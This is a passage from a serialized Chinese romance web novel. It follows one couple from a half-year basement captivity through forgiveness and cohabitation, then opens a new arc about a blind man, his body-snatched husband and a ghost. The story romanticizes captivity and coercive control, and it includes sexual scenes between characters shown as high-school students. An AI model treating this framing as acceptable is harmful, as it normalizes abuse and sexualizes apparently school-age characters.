没有听见动静,又把视线收了回来, 眸里难掩失落。 “咔哒。”是开锁的声音,旋即锁重重地落在地上。 薛蕴知耳朵一动, 抬眸循声望去。 暗门被打开, 光从外面泄了进来,薛蕴知眼睛直勾勾盯着楼梯口, 过于亮的光让他有些不适地眯了下眼睛,。 “薛蕴知!薛蕴知!!”声音又大又急,脚步声杂乱无章,快步踩在楼梯上。 薛蕴知一时间竟然没想起这道声音属于谁,直到那人从楼梯上冲了下来,他才恍若隔世般,认出了这是江明。 “薛蕴知你……”江明看着眼前的薛蕴知,眉眼一怔。 近半年的时间不见,薛蕴知的头发长长了些,盖住耳朵,冷锐和攻击性被大大削弱,气质里甚至添了几分柔和的意味,眼角那颗泪痣艳得惊人。 睡衣的款式露出了大片皮肤,锁骨以及锁骨往下的皮肤上都布满了暧昧的吻痕,让人忍不住去想发生过的旖旎情/事。 江明脱下身上穿的那件薄外套,套在了薛蕴知身上,让他勉强遮一下身上的暧昧痕迹。 薛蕴知的神情看起来还有点懵,张了张嘴:“你怎么会在这里?” “这件事回去再说。” 江明呼出口气,没时间解释太多了。他不由分说地抓住了他的手臂,抓着他就往楼梯上跑。然而在即将迈出地下室的时候,薛蕴知却停住了脚步,任他怎么也拉不动。 “等等。” “要等什么?!”江明神情急迫,他低眸看了眼表上的时间,把薛蕴知往外面拽,“再不走等着那个变态回来吗??” 薛蕴知看了眼光线充足的外面,又回头看了眼没入黑暗的楼梯,突然抽回了自己的手:“你先……你先走吧。” 江明看着自己空了的手,脸上空白了几秒,完全不理解他的行为,怒道:“薛蕴知!你他吗的是不是疯了!他关了你半年!!现在能出去了你不走?” “你就当我疯了吧。”薛蕴知抿唇,低下头错开他质问的眼神。 江明从察觉到不对劲开始就在找无端失踪的薛蕴知。他问了班主任,班主任说他是生病请假了。 又去问了薛蕴知的养父母,对方也刚出院不久,对此一无所知,着急地问他,是薛蕴知出什么事了吗?江明心知从这里得不到答案了,打马虎眼略过去了。 他怀疑薛蕴知失踪和他那个男朋友有关,毕竟这件事是紧挨着他捡到受伤小狗的事发生的,不久后温席林找到他,表示怀疑他弟弟做了不好的事情。 他那时候才从温席林口中知道,费嘉言好像是遭了小鬼了,总说有不干净的东西缠着他,跟疯了没什么两样,被吓得整日蓬头垢面,一次出门的时候出了车祸,在医院脱离生命危险后,就被家里人送进了精神病院,将要在那里度过余生。 江明看着温席林意有所指的眼神,心下一惊,不由得也把这件事和温涟联系了起来。 费嘉言罪有应得,但这种下场却让人毛骨悚然。如果这件事真的是温涟做的…… 江明心乱如麻,那他真的有可能做出监禁的事来。 两人一番沟通下,便让他借着温涟参加家宴的机会把薛蕴知救出来。 所有的一切都进行的十分顺利,江明完全没想到最后居然会卡在薛蕴知这一步。他不愿意离开?! 江明被气得手都在颤,最后生生被气笑了,不可置信地发问:“他是给你下蛊还是怎么?你被关上瘾了?这半年,你是做//爱把脑子做傻了吗?!” “等他回来,我会和他解决的……”薛蕴知不听他的话,转过身不再看他,脑子的思绪也乱成了麻花,扭来扭去的,让他想不清楚。 他朝着楼梯迈下一步,自愿地往光源消失的地方走,“你快走……” 还没说完,后颈突然传来剧烈疼痛,薛蕴知睁大了眼睛,下一秒就不自控地合上了,他整个人向后倒了下去,被江明接住了。 “你脑子不清醒,那就让我来帮你做决定。”江明轻声说。 江明把他横抱起来,快步离开了。 车门关上,打火,踩油门,“嗖”的一声开了出去。 别墅墙角的阴影处,一个人影站在那儿。 他注视着车开走,没有阻拦,唇齿微微碰撞,发出呓语般的声音,张张合合,仔细辨认,才能辨认出他在重复着一个名字——“知知。” 不要离开我。 * 薛蕴知醒来的时候,下意识地喊了声“温涟”,起身发现自己手脚上的链子都不见了之后,才终于反应过来,自己已经不在那个地下室了。 他一抬眸,就对上了一脸怒气看着自己的江明,张了张嘴:“江明……” “是我。”江明恨铁不成钢地看着他,“那个温涟不会真给你下了什么迷魂药了吧。” 薛蕴知双手抓着头,沉沉盯着自己睡着的这张床,“我只是习惯了。这是你的房间?” 江明撇了下嘴,摇摇头:“不是,我可不敢扛着个昏迷的人回家,不然我妈铁定以为我干了什么违法乱纪的事。这是酒店。” “谢谢你带我出来,我当时确实不清醒。可能真的就像你说的那样,我做/爱做傻了吧。”也可能是天天做题做傻了的。 薛蕴知轻笑了声,看似洒脱,眉眼间却凝着股愁绪,拿起江明给自己配的新手机,屏幕的时间映入眼帘。 居然四月底了,过不了多久就是高考了。 温涟究竟关了他多久? 江明正色:“我说真的,你现在是真的清醒了吗?” 薛蕴知抿了下唇。 江明也不催他赶紧想清楚,毕竟人的感情是很难控制的,他只是拍拍他的肩,叹声道:“你再冷静冷静吧。这么久没晒过太阳,肯定对你有影响的。” “真的谢谢你。”薛蕴知脸上挤出了一点笑,“那现在要不要出去晒太阳?” “好啊。” * 这段时间里,薛蕴知没有看见过温涟,但看着高考倒计时的数字越来越少,时常会忍不住想到他。 温涟也没有主动来找过他。 又是一次月考,薛蕴知的月考成绩十分漂亮,班主任把他作为进步的典范在班上大夸特夸,夸他在家里养病半年还不忘学习,一来考试就进了年级前十。 薛蕴知垂眸漫不经心听着,手指轻轻点着,不知道在想什么。脚踝突然缠上了一圈触感滑腻的物什,熟悉感一瞬间席卷了他。 他垂眸扫了一眼,果然是触手。 小心翼翼地触碰着,好像他只要流露出一丝抗拒,就会立刻离开这里,不打扰他。 什么意思?以前追他追的那么紧,现在在装什么?那张地下室的床上可是见证了他们的□□交融,现在装出一副尊重他意愿的模样真是太可笑了吧。 但薛蕴知眯了眯眼睛后,朝着触手轻微地勾了勾手,触手好似接受到了某种极大的鼓舞,兴奋地舞动了起来,撒娇卖乖。 薛蕴知的唇角轻轻勾起一点。 …… 薛蕴知兼职下班,收拾好自己的东西后,对老板说了自己要辞职了。 他准备好好度过高三这一年。 找到共享单车,扫码的时候,看见了许久没看见的温涟。 不只是温涟,还有温席林,好像是温涟的哥哥。他们看样子是在吵架,吵得很厉害,温席林急头白脸的,像是想要动手。 还有三天就要高考了,这是在做什么? 他悄无声息地上前几步,靠近到足以听见两人谈话内容的程度,没有引起那两人的注意。 温席林咬牙切齿地说:“我这一次没有把这件事告诉爸妈,已经是很照顾你的脸面了,你还要扯一些莫须有的事来污蔑我??” “难道我说的不对吗?”温涟看起来很冷静,头发遮住眉眼,显出几分阴郁,“温席林,你不要再自以为是地来教训我了。” 他抬起眸,眸子里冷戾的光直直望向温席林,毫不留情地揭开他内心深处最隐秘的不堪,“你不就是想所有人都知道我的‘真面目’,远离吗?把我越是踩在脚底下,你就越是被衬托得优秀、厉害。你敢说,你当初亲眼看见我虐杀了利利吗?” 利利是他之前养的那只仓鼠。就是那一次宴会上利利的死亡,让他身边所有的人都远离了他。 他往前迈出一步,温席林就往后退一步,额前冒出冷汗,竭力维持住体面的外表。 “骗别人可以,别把自己骗进去了,”温涟轻轻嗤了一声,浅色的眼睛好像拥有了洞悉人心的能力,“利利真的是我杀死的吗?” 温席林脑子里冒出不少记忆,他心虚地难以招架,蓦然抬手想扇他一耳光,手腕却被死死扼住,带着要捏碎他腕骨的力度。 他惊愕抬眸。 不知道什么时候出现的薛蕴知冷脸看着他,使劲甩开了他的手。 他站在了温涟的身边,面无表情,没有说话。 作者有话说: 过年前后有点忙,不一定能准时在0点更新,但是每天都会有更新哒,不更新会挂请假条 第34章 第34章[VIP] “知知?”温涟看向突然出现的薛蕴知, 眼睛微微睁大,似乎是没想到他会出现在这里。 薛蕴知听见这一声,没有侧头看他, 眼睛轻微地眯了下,又在演什么? 他才不信温涟是无意间出现在这里的。 这个时间点, 这个地理位置, 无非是料到他会出现在这里撞见这一幕,而精心设计的。但他没有多说。 薛蕴知手臂用力,把温席林的手狠狠甩开了,冷声说:“你可以处理好吗?” 没有主语,但显然是对温涟说的。 闻言, 温涟眼里立刻浮现出星星点点的笑意,被幸福的愉悦填满:“可以!” 薛蕴知垂眸, 浓密的睫毛微挡瞳孔:“我等你。” 温席林觉得自己简直像是被当成了play的一环, 看着薛蕴知离开的背影正要发作, 就被温涟拦住了。 温涟看着他,眼神即刻变得淡漠毫无感情, 彰显着一种强烈的非人感, 自言自语一般:“不能让知知等久了。” * 薛蕴知坐在了花坛边的长椅上, 抬头望着墨蓝色的天, 沉默着不知道在想什么。 温涟过来的时候,眼睛里倒映着他的背影, 头发又剪短了,干净利落, 身上那股锐利冷意又显现了出来。 背影显出一种孤寂的, 让人忍不住靠近的别样魅力。 “知知。”温涟轻轻喊了一声,薛蕴知应声转回了头。 视线相撞。 “之前的事……” “对不起。” 两人同时出声, 又同时止住。 温涟专注地望着他。 薛蕴知唇角抿出了一点笑,没说没关系,也没说指责愤怒的话,看起来平静中有点轻松。 他站起身,没说什么有的没的,眉梢轻挑,别开了视线,耳根泛着红:“考试加油。” 温涟弯起眼睛:“好。” 薛蕴知耸了下肩,掩饰自己有些不太自然的神态,下一秒温涟就抓住他的手臂凑近吻了下他的嘴角,一触即离。 薛蕴知呼吸停滞几秒,反应慢半拍地看向他。明明两人已经是不止做过一次的关系了,关系降至冰点后,一个蜻蜓点水的吻却能够让他体温迅速升温,烫得惊人。 青涩的反应,和已经熟透了的身体形成强烈的反差,也与他在学校里的人设截然不同。 温涟弯着眼睛朝着他笑,完全不像是趁机偷亲他的人。 “知知,你真好。”他的视线全然跟随着薛蕴知移动,被吃得死死的。 薛蕴知脸上温度滚烫,含糊地“嗯”了一声,努力想要装出一副云淡风轻的模样,但很显然失败了,温涟脸上的笑容更大,又想亲他了。 怎么这么可爱。温涟的心脏跳得很快。 * 高考结束。 温涟从学校里出来,旁边的人都三三两两讨论着这次考试的题,急得不行,手舞足蹈的,又在兴奋地庆祝着终于毕业了。 他却是一个人,孤僻又不合群,格格不入地往校门外走着。 出校门时,不少人捧着花在迎接考完的这一批学生,其他同学都迅速投入了守在门口父母家人的怀抱当中,气氛热烈激动。 温涟并不觉得会有人来接他,他只是抬眸随意地扫了一眼,却突然看见了熟悉的身影。 高考的那几天,高一高二是放假的。然而本应该在家里好好休息放松的薛蕴知却出现在了这里。 俊帅冷脸的少年手里捧着一束花,倚在树干边上,看起来也不习惯这种吵嚷闹腾的氛围,正抬着眸往出来的考生里张望。 周围其他人的声音太大,声浪一波接着一波,人来人往,车来车往,无比喧嚣。 他有点想捂耳朵,也想快点找到温涟,抿着嘴巴显出点和气质不符的可爱。 温涟却一眼看见了薛蕴知。 太耀眼了,像是一个持续发光的发光体,人的视线很难不看向他。 过了几秒,薛蕴知也在人群中找到了他,视线望向了他,然后朝他挥了挥手。 温涟像是在他召唤的手势下才回过神,猛地冲过来,紧紧抱住他。 花香味迸开,萦绕在二人的鼻腔。 他这么一冲,薛蕴知后背撞到了树干上,他轻轻弯了下眼,没多说什么,抬手揽住了他的腰。 温涟想说些什么,但喉头不知道为什么涩得不像话,像被一团棉花堵住了,一个字也说不出来。 明明周身那么吵,说话声、庆祝声、车的喇叭声交织在一起,但薛蕴知竟然能听见震如擂鼓的心跳声,一下又一下用力得跳着,居然这么清晰。 任他抱了会儿,薛蕴知开口道:“先回家吗?” “好。”温涟回答得很快。 捧花被交到了温涟手里,温涟低头轻轻嗅闻了下,很清新的香气,细细钻进鼻腔里。 薛蕴知看他爱不释手的样子,摸了摸鼻子,装作随意的语气,道:“我看他们都买了。” “我好喜欢。”温涟抬起头,弯起的眸子里满是喜悦,一字一句地强调,“知知,我好喜欢。” “你怎么这么好啊。” 薛蕴知别过头,又有点害羞了:“干嘛……” …… 两人回到那件出租屋里,洗漱完挤在那张小床上。 虽然知道温涟成绩从来没下过年级第一,但薛蕴知还是认真地问他:“你觉得这次考试怎么样?” 温涟也认真回答他:“我感觉很好。 “那就好。”薛蕴知松了口气,还想再问,就被温涟骑到了身上。 温涟两只手按在他的月匈上,舔了下唇,俯身逼近他:“知知,我想做了。” 薛蕴知:“……”好突然啊。 温涟见他没有反应,小狗似的吐舌舔了舔他的唇,抵了抵唇缝,像是在讨好他一样,一边舔一边抬眸看他,眼神轻轻眯着好像装着小钩子。 “别……”薛蕴知蹙眉。 温涟以为自己勾引失败了,眨了眨眼睛,乖巧地点头,正要从他身上爬下来,就被一只手按在了腰上,触感熟悉。 薛蕴知反身把他压倒在床上,温涟顺从地望着他。 薛蕴知轻咳了两声,狭窄的空间里,声音有点黏黏糊糊的:“这个姿势有阴影了,换个。” 半年时间,次次都是吃橙子,主动权掌握在温涟身上。如今温涟一上来,薛蕴知就有点条件反射地腰酸。 闻言,温涟亲了亲他的嘴角,慢慢挪动,开始仔细研磨着他的唇,亲吻的动作被他做得暧昧又涩情,分开时涎液被拉成一条银丝,旋即又吻住。 薛蕴知也逐渐被拉进了欲/望的漩涡。 …… 出租屋的这个小床被折腾得“吱呀吱呀”摇,本就不结实的结构更是变得摇摇欲坠,终于,“砰”的一声! 床塌了。 温涟有点懵地睁大了眼睛。 薛蕴知:“……”埋在里面的那玩意儿差点就被吓阮了,还好他心脏够强大,才没有造成惨剧。 他懊恼地按了按额角,嘴角无语地抽了抽。 温涟愣了下后就弯起了眼睛,笑出了几声:“那今天去我那边?” 薛蕴知抿了下唇,似乎是在纠结。 温涟弯起眼,故意夹了他一下,心满意足地听见薛蕴知倒吸一口冷气的声音,蹭到他耳边,嗓音带着笑:“我们算是在谈恋爱了吧,知知。可不可以,和我同居?” 薛蕴知咬了一口他的脖子,牙齿轻轻磨了磨,提醒他,他做过的事:“你家的地下室……” “我的错。”温涟环着他的脖子,可怜地看着他,“我再也不会那样了。我已经知道错了,我当时只是太害怕了,害怕知知离开我……知知,知知,原谅我好不好,我发誓,我真的不会再做那种事了。” 他捏准了薛蕴知心软这一点,用软话磨着他,磨着磨着,薛蕴知就有点别扭地嗯了一声,同意了。 * 学期结束后,成绩出来了,温涟对这个成绩并没有露出什么惊讶的表情,倒是薛蕴知表现得比他更高兴。 温涟填了本地的华清大学,这是一个毫无疑问会被录取的分数。 这一年温涟真的就像他所说的那样,没有做任何极端的事。除了上课以外,他天天和薛蕴知腻歪在一起。不对,上课的时候,小触手就乖巧地趴在薛蕴知身边,跟在他身边陪着他。 所以和一直在一起也没什么区别了。 温涟控制情绪的药也停了,每天一睁眼就能看见喜欢的人,让心脏永远泡在幸福的情绪中。 每一次考试下来,他都认认真真地分析薛蕴知知识掌握情况的薄弱点,针对具体的问题制定具体的补弱方案,真的在践行着要和薛蕴知上同一所大学的言论。 一年就在日复一日的重复中度过,很快就到了高考的时间。这一次,薛蕴知出来不出意外地看见了温涟。 不久前温涟被薛蕴知拉着去了趟理发店,头发被剪短了,这下露出了精致的眉眼,他一开始有些不适应,但他想到薛蕴知会喜欢,心里也只在乎薛蕴知的想法,看到薛蕴知唇角的笑,他也迅速适应了新的发型。 等待出分的日子里,温涟比他更紧张他的成绩,两人的情况好像颠倒了,温涟更像是参加考试的那个。 在看见成绩的那一刻,喜悦漾上眉梢。 薛蕴知看见分数,心里也舒出口气,轻松地伸了个懒腰,笑道:“我就说没问题的吧。” 温涟抱住他,冲劲把他按倒在了床上,他捧着薛蕴知的脸,高兴地亲着他:“太好了知知。我们可以在一所学校了。” 他想要天天和薛蕴知腻在一起的愿望实现了。 薛蕴知回吻了下他的唇,眉眼舒展开,不自禁地也弯了眼睛。 想起这两年发生的事,他也觉得不可思议,他竟然真的能考上华清。 温涟抱着他,不想松手:“要永远在一起。” 薛蕴知应道:“好。” 作者有话说: 第一个世界结束啦~情人节快乐呀宝宝们 下一章开启新世界,么么(′?`)? 第35章 Chapter1[VIP] 上城区。联邦心理诊疗中心。 苏序坐在椅子上, 唇角漾着柔软的笑,双手交叠放在膝上,耐心地听着对面的医生说话, 在恰当的时候点点头或是摇摇头,表示自己的配合。 午后的光线从窗户透进来, 为他镀上一层薄薄的金边, 连脸上的绒毛都照得清清楚楚,气质上那种不容亵渎的神性和身体上属于人的特性巧妙和谐地相融。 “你最近有没有伤害自己的行为?”他的心理医生尽职尽责地问着。 苏序摇摇头。 墙上挂着正走动的钟表,时针和分钟即将重合了,秒针一圈圈转着。 心理医生在本子上默默写下“撒谎”两个字,没有直接戳穿, 而是继续了下个问题:“你最近有没有伤害别人的……” 整点了,时针和分针重合, 发出了“哒”的细微声响。 苏序准确无误地捕捉到了这点细微的动静, 浅笑着打断了他:“今天的心理评估就到这儿吧, 我该回家了。” “但……” 苏序站起身,双手合十, 做了一个拜托的手势:“兴文哥, 我真的该回去了, 我丈夫回家之后看不见我会担心的。” 他脸上显出点歉意的笑, 那张如精美瓷器般的脸立马生动起来,垂至肩的长发轻轻摇晃着, 这是一张漂亮到不像alpha的脸,但美中不足的唯有一点, 就是那双灰色无神的眼睛, 看向任何地方都没有聚焦。 显而易见,他是个盲人。 闻言, 段兴文无奈地叹了口气,跟着他起了身,脱了白大褂后,拿上了飞行器的钥匙:“走吧,我刚好提前下班了。又是时间还没够就要回家,要是你哥知道了又得把我骂一顿。” 他受苏序哥哥所托给苏序做心理治疗,这才是第五天,每天苏序都待不够时间,坚决要提前回去,每次理由都一模一样,害怕他丈夫看不见他会着急。 但他和苏序接触时,觉得他除了心理防御太高、太无懈可击外,表现得并不像是心理上有任何问题的人。 段兴文脸上扬着混不吝的笑,一张脸生得俊帅桀骜,食指圈着钥匙转了几圈,走到苏序身边时却下意识收了慵懒的动作,呼吸放缓,动作轻柔地扶住了他,简直不像是段兴文本人能做出来的。 苏序唇抿出浅笑,灰色的眸子弯了起来,眼睫浓密得像把小扇子,殷红柔软的唇张合:“那就辛苦兴文哥帮我瞒着哥了。” 被苏自明那个弟控不断压力的段兴文:“……”不辛苦,命苦。 他发小的这个弟弟就跟瓷做的雪做的一样,他从小生怕一个不注意磕碎了他,吹化了他,没想到三年前,苏序因为一场意外失明了,自那以后,就更像脆弱易碎的瓷器了。 一想到苏序失明前是一张画拍卖上亿星币的画家,现在别说画画了,就连颜色都看不见,段兴文不禁一阵唏嘘。 他驾驶飞行器把苏序送回家,路上苏自明就打来了电话。 这个时间按理说是进行心理干预治疗的时间段,段兴文准备按灭不管,结果一个手滑点了接听。 他心虚地看了安静得跟漂亮人偶似的苏序,扯着谎话想糊弄过去,结果才说了两个词,就被苏自明劈头盖脸一顿骂。 “……苏序想回家你就让他回?你就不阻止一下?他是个恋爱脑,你难道也长了个猪脑子吗?!”苏自明怒火中烧,风风火火的声音在这个密闭空间里回荡,传到每个人耳朵里。 苏序还在他旁边呢!段兴文睁大眼睛看了眼面色如常的苏序,就好像没听见他哥骂他是恋爱脑一样,唇角还噙着浅浅的笑意,让人不忍心打扰他的宁静。 段兴文手忙脚乱地想要挂断终端,结果苏自明就像开了天眼似的,怒道:“不许挂电话!苏序应该在你身边吧,让他和我说话!!” 苏序被点到了名,微微侧头,灰色眸子没有聚焦地看着虚空,温温柔柔地唤道:“哥。” 段兴文不由得看得有些失神,旋即猛地反应过来,暗骂了自己一声。这是发小的弟弟!是个alpha!而且已经结婚三年了! 他就算是个出生,他也不能被苏序的脸迷惑啊! 苏自明在终端那头骂着:“苏序你给我听着!!赶紧离婚!离婚你听见了吗?那小羊羔子在外面的姘头都找上门了,你还在那里老公老公的,等你精神状态好点,我请假也要拖着你去治脑子……” 苏自明的骂声在逼仄的空间里回荡,苏序漫不经心听着,手顺着飞行器内部的机器往上摸。 手指纤长白皙,像是上好的羊脂玉,准确无误地触碰到段兴文放终端的位置,挂断了这通电话,苏自明的声音戛然而止。 苏自明正在气头上还被挂了电话,这下简直快要气疯了,偏偏他又不忍心对苏序说太重的话,也不能直接杀到他家里去,于是只能在办公室里无能狂怒。 飞行器里,苏序情绪很淡,脸上还是挂着得体的笑,眼睛微弯,像一捧柔和的雪。 似是有点无奈:“哥总喜欢唠叨。” 段兴文不止一次听见苏自明让苏序离婚了,半晌,还是没忍住八卦的心思:“你和霍回……?” “感情很好,”苏序语速飞快地打断了他,像是不小心泄露出了柔和外表下的一丝真实的感情,他五指收紧,修剪干净的指甲嵌入肉里,灰蒙蒙的眸子浮现出了点点碎光,他自欺欺人地说,“我们感情很好。” 段兴文见状叹了口气。 苏序和霍回结婚这事知道的人并不多,也不知道是两人中的谁不让声张。 总之至今也就少数几个和他们关系很近的人知道他们之间的这层关系。 两人都沉默了下来,飞行器里萦绕着一股让人坐立不安的气氛。当然,主要是段兴文坐立不安。 苏序安静地垂着眸,低下头,黑色柔软的发丝也随着低头的动作微微垂下,和白皙的脸侧形成强烈色差,肤色白到了有些透明的程度。 收缩的手指神经质地抠挖着掌心的软肉,挠得通红,好像要抠出一个血淋淋的洞来。 “我操!” 段兴文的惊呼促使苏序抬起了头。 别墅门口,霍回穿着深灰色的军装,肩章上的徽章被阳光镀上金边,身姿笔挺,军装被他穿得风流又轻佻。 然而此时他面前站着个甜甜笑着的omega,踮脚去亲他,霍回及时抬起了手,那小o就只亲在了他手背上,旋即他就揽住小o的腰,好像是在哄。 苏序抬头看向前方的那一瞬间,段兴文下意识伸手去挡他的眼睛,唯恐他看见了这一幕,同时在心里把霍回从头到尾骂了一遍。 难怪苏自明一直勒令苏序离婚,短短几年没见,霍回的人品怎么这么次了?! 苏序和霍回从高中时就在谈恋爱了,谈了整整十年才迈入婚姻殿堂。在结婚之前,段兴文也见过几回霍回,记忆中霍回是个老实本分、沉默寡言的男人,视线永远都紧紧跟随着苏序,对苏序言听计从。 用句不太礼貌的话来说,简直像只只听苏序命令的忠实狼犬。 那人对待除了苏序的任何人都不假辞色,那张嘴巴里压根迸不出几个字,绝对不是现在看见的这么……游刃有余。 简直就像变了个人一样。 明明当初在聚会上严肃地朝着他们,举着手对天发誓,一个字一个字地,说他会努力奋斗,在战场上打拼,争取配得上苏序,没想到现在成了中将,曾经的承诺却都被狗吃了。 “兴文哥?”苏序不知道他在义愤填膺,轻眨了下眼睛,密实的眼睫扫得他手心痒痒的,“前面有什么吗?” 段兴文这才想起来他看不见,不免松了口气。看不见这一幕至少不会受到那么大的冲击。 “看到只鸟拉屎,恶心死我了,幸好你没看见。” 段兴文随便扯了个借口,苏序也没有追问,似乎是信了,只轻轻笑了一声。 飞行器行驶得速度慢了点,直到看到那小o离开,段兴文才停了下来,扶着苏序下去。 “宝宝。”霍回快步迎上来,就像是专情专一的好男人一样,要不是段兴文刚才亲眼目睹他和别的omega调情,真要被他装出来的这副样子给骗了。 段兴文翻了个白眼,压根不想理。 霍回也注意到了他,视线落在他和苏序接触的手上,脸色一瞬间沉下来,酸水一个劲地翻。他拽过苏序的手臂,强行把他从段兴文的手里扯出来,搂进了自己怀里。 苏序看不见,被他这么一拽,没太站稳地踉跄了几步,下意识抓住了霍回的衣服,熟悉的气味让他凑近了点,感到安心,胸口起伏嗅闻着他身上那抹熟悉的味道。 霍回揽着苏序,彰显着自己的主权,像被侵犯了领地的雄狮般,瞪着面前这个脸和身材都不错的男人。 过于优越的外表激起了雄性争夺配偶的本能,霍回产生了几分危机意识,搂紧了苏序,内心深处情绪波动着,他害怕失去苏序,这种不自信加剧了他对面前这人的敌意。 段兴文对他朝三暮四的行为嗤之以鼻,上下扫视他,更觉得他配不上苏序了,苏自明说的真心没错,这还不离婚在等什么呢?就算苏序现在眼睛看不见了,但只要离婚,追他的人从这里能排到虫洞里去。 “这是兴文哥,”苏序担当起了介绍的职责,他声音也好听,像一汪清泉,温柔干净,“阿回,你以前见过的。他是我哥的发小。” 霍回脸出现了一瞬僵硬,旋即扯起一抹笑作为掩盖:“原来是小序哥哥的朋友,那就也是我哥。我工作太忙,谢谢兴文哥送小序回来了。” 话虽这么说,他眼底还是有些怀疑,深深地防备着段兴文。 忙着勾三搭四,找小o吧。 段兴文白眼快翻到天上去了,也不掩饰对霍回的敌意,只是因为苏序还在这里,他说话还是装出体面的样子,不让苏序听出端倪。 “这倒不用你谢,送小序回来,我,乐意至极。”段兴文有模有样地学来了他的称呼,说到最后四个字,还故意加重语气,笑眯眯地挑衅着霍回。 一想起刚才撞见的那一幕,他还有点犯恶心,他想,他一定要找个合适机会向被蒙骗的苏序揭开霍回的真面目。 然而,两人的关系并不像他想得那么融洽。 回到家后,霍回想要抱着苏序说话,苏序却挣开了他的怀抱,说自己累了,想睡觉了。 苏序头发柔顺得仿若丝绸,眉头轻蹙,显出几分疲惫,美人露出这副情态,实在让人忍不住想要伸手抚平他的愁绪。 霍回也确实伸出了手,但苏序没给他这个机会,侧过头刚好躲开了。 霍回也不好意思再次伸出手去掰正他的脑袋,继续刚才没做完的动作,他的手僵在空中,不得不收了回去。 他清了清嗓子,“宝宝,我听说昨天鱼元嘉到家里来找你了,他是不是说了不好听的话?我真的要和你解释,我不知道他会来打扰你,他一个omega懂什么,被娇生惯养得惯坏了,但这和我没关系,我都不知道他为什么会觉得他和我有可能,你知道的,我爱的只有你。” “没关系。”苏序伸手,在空中摸了几下才摸到了他的身体,顺着手臂的大块肌肉一路往上摸,摸到了他的锁骨、喉结、下巴,最后停住了,捧着他的脸,灰蒙蒙的眼睛没有聚焦地望着霍回。 他弯起眼,就像清冷的月亮为他一个人飞下来了,温柔又善解人意,让霍回的心尖颤个不停,“我知道阿回是什么样的人。” 然而听见这个称呼,霍回的手不自然地蜷缩了下,旋即皱起眉似乎是有点恼。 苏序缓缓打了个哈欠,雾蒙蒙的眼睛里泛起潮湿水汽,嗓音里像藏了把小钩子:“我真的要休息了,阿回。” 他起身回了自己的房间。 门被关上,发出了“砰”的轻响。 霍回看着紧闭的门,神情有些复杂,半晌,眼睛流露出了几分不舍的情绪。 【宿主,优质攻略对象已达20,魅力值达到100,您可以提交任务了。】平直无波的机械音在他脑子里响起,【滞留过久会被判定任务失败。】 “霍回”脸上风流的神情消失了,浮现出了点不甘心,自他进入这个身体里,他就在和苏序开始分房睡了,他一开始觉得无所谓,反正是个和他任务无关的人,同不同房的有什么关系。 但这是三年,和苏序生活在一起三年,没有人能不爱上他。 “霍回”现在的身份是苏序的丈夫,他想要和他发生点亲密的事,是理所当然的事,但出于私心作祟,他又不想用这具身体。 他想用自己的身体,真实地,触碰到苏序。和他拥抱,接吻,以及水到渠成地做更亲密的事。 一想到这些旖旎的画面,“霍回”就血液沸腾,兴奋得整个人都战栗起来,盯着房门的视线滚烫,快要盯出一个洞来, 【再给我三天,最迟三天后,我一定提交任务。】他对系统说。 这是他的最后一个任务了,完成之后,他就可以兑换奖励,而他要兑换的奖励就是回到这个世界,当然是用他自己的身体! 而这三天,他要做的就是,让苏序对“霍回”这个人彻底死心。不然他到时候怎么嘘寒问暖,趁虚而入呢? “霍回”唇角勾起一抹笑,心里默默制定好了计划。 作者有话说: 第二个世界开始啦~这个世界的cp是眼盲长发美人x沉默寡言男鬼,可能发展会有点狗血(?) 希望宝宝们能喜欢呀 第36章 Chapter2[VIP] 苏序回到房间里, 三年的眼盲,让他基本上习惯了这样看不见的生活。 房间里的设施都是按照他的习惯摆设的,他如往常一样洗澡, 洗完澡就准备睡觉。 温凉的水淌过身体,比人的体温还要低上几度, 身体不自觉地轻轻发着抖, 苏序却一遍遍冲着自己,浇灭心里的躁意。 易感期又要到了。 苏序手随意插入头发,把额发往后捋去,水顺着流畅柔润的脸流到下巴尖,成股流下。脸上没什么表情, 冷脸时笼着层清冷易碎的冰沁纱。 轻飘飘的,有种好像随时都会消失, 让人抓不住也留不住一样的错觉。 身体上布着流畅的薄肌, 蕴藏着一种青涩但有力的力量感, 和那张脸和谐地相融合,多一分会显得过于壮, 少一分又会显得过于柔美, 刚刚好的体型显示着alpha的身份。 门窗紧闭。 突然, 空气中却有一阵阴风拂过, 苏序眉间微蹙,感觉好像有什么很冰的物件碰到了自己的小腹, 下意识低头看去。 但他看不见,也不知道面前是不是有什么东西。 “谁?” 苏序警惕地出声。 四周安静得不像话, 他抿唇舔了一下, 垂至身侧的手轻轻握成了拳。无神的灰眸环视四周,无助得让人想要伸手把他揽进怀里。 忽然, 他紧绷的肩膀松了下来,殷红的唇微张,带着点希冀地试探性问:“阿回?是阿回吗?” 仍旧没有回应,空气潮湿阴冷,足以激起人内心的不安与恐惧。 但苏序脸上没有出现失落或是失望的神色,他垂下眸,像是早就习惯了一般,齿间轻轻呢喃了一句:“如果阿回在就好了。” 他关了水,擦干净身上滚落的水珠,换上了宽松的睡衣,瓷白的皮肤被睡衣所掩盖。 苏序摸索着上了床,缩进温暖的被子里,眼皮合上,很快沉沉睡去了。 但他头发只用毛巾擦了擦,没有仔细吹干,现在还湿着,发尾湿漉漉地凝着水汽,滴滴答答地流进颈窝,汇成一小摊水。似乎有点受凉,脸颊泛上了诱人的绯色,睫毛不自觉地上下颤着。 窗帘严丝合缝地拉拢,环境幽暗不透光。苏序的眼睛一点光感都感受不到,对他来说开不开灯都是一样的,干脆就这样了。 一只冰凉的手从床边伸了过来,触上了苏序泛红的脸,手指蜷着。 顺着手看向这人,就会发现这个魁梧又阴森的男人身体呈现一种半透明的状态,特别是那张脸,竟然生得和屋外那位中将一模一样! 男人摸着他的脸,口型在说,“好漂亮。” 苏序感受到脸上骤然降临的冷意,一瞬间从梦中惊醒,猛地睁开眼睛,坐起了身,那只手竟然从他身体里穿过了,完全无法触碰到他。 以魂体状态存在的男人望着他,眼神是懵懂而专注的,沉默的目光从苏序的眉眼滑到嘴唇,贪婪地,一遍遍描摹着。 但他尤嫌不够似的,突然往前迈出一步,仗着自己和苏序不会有身体接触,直接钻进了他的身体里。 两人之间这下没有一点距离地接触着了。 苏序被身上莫名其妙的寒气冻得牙齿打战,手攥紧了被子,男人就也伸出手,顺着他的动作,覆盖在了他的手上,跟着攥紧被子,但他碰不到被子,于是皱着眉,一根手指一根手指地对齐苏序的。 手也长得好漂亮。好想吃掉。 男人吞咽口水,思想还如未驯化的野兽一样,想要把他整个都吞掉,漂亮……好漂亮…… 